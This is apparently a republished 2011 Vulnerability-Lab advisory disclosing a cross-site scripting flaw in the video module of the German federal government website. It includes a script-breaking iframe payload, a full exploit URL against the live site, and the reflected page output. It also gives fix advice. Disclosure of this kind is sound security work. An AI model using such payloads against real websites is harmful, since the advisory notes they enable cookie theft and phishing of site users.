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Bundesregierung Website - Cross Site Scripting Vulnerability

🗓️ 21 Dec 2011 00:00:00Reported by Vulnerability Research Laboratory - Alexander Fuchs (f0x23)Type 
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Bundesregierung Website - Cross Site Scripting Vulnerability. CVE-346, XSS in Govt Site

Code
Document Title:
===============
Bundesregierung Website - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=346


Release Date:
=============
2011-12-21


Vulnerability Laboratory ID (VL-ID):
====================================
346


Product & Service Introduction:
===============================
Die deutsche Bundesregierung, auch Bundeskabinett genannt, besteht aus dem Bundeskanzler und den Bundesministern.
Es ist die Regierung der Bundesrepublik Deutschland und übt damit die Exekutivgewalt auf Bundesebene aus.

(Copy of the Vendor Website: http://www.bundesregierung.de)


Abstract Advisory Information:
==============================
A Vulnerability-Lab researcher discovered a non reflective cross site scripting vulnerability in the government site builder CMS.


Vulnerability Disclosure Timeline:
==================================
2011-12-18: Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A non reflective cross site scripting vulnerability is detected in the media module of the government site builder. 
The bug allows an attacker to steal admin and user cookies or build a phishing layer over the page with a prepared link.

Vulnerable Module(s):
			                         	[+] videos.html

Vulnerable Param(s):

			                         	[+] ?page=

Important Param(s):

			                         	[+] &view=coverflow


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...

PoC:
"};</script><iframe src=//www.vulnerability-lab.com/ onload=alert('CrossSiteScripting')>

Reference(s):
www.bundesregierung.de/Webs/Breg/DE/Mediathek/Videos/videos.html?page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue&view=coverflow

--- Output Review ---
		var flashvars = {
			file: "/Webs/Breg/DE/Mediathek/Videos/Functions/FilterListeTabelle-Coverflow,templateId=r
enderCoverflowXML,nnp=670562.xml?view=coverflow%26page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue",
			vars: ""
		};


Solution - Fix & Patch:
=======================
To fix the security issue the manufacturer have to allow only numbers in the vulnerable parameter. It is always a good idea
to check all inputs with a whitelist of expect inputs. There are also techniques to block requests to other domains.


Security Risk:
==============
The security risk of the reflective xss vulnerability is estimated as low(+).


Credits & Authors:
==================
Vulnerability Research Laboratory -  Alexander Fuchs (f0x23)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

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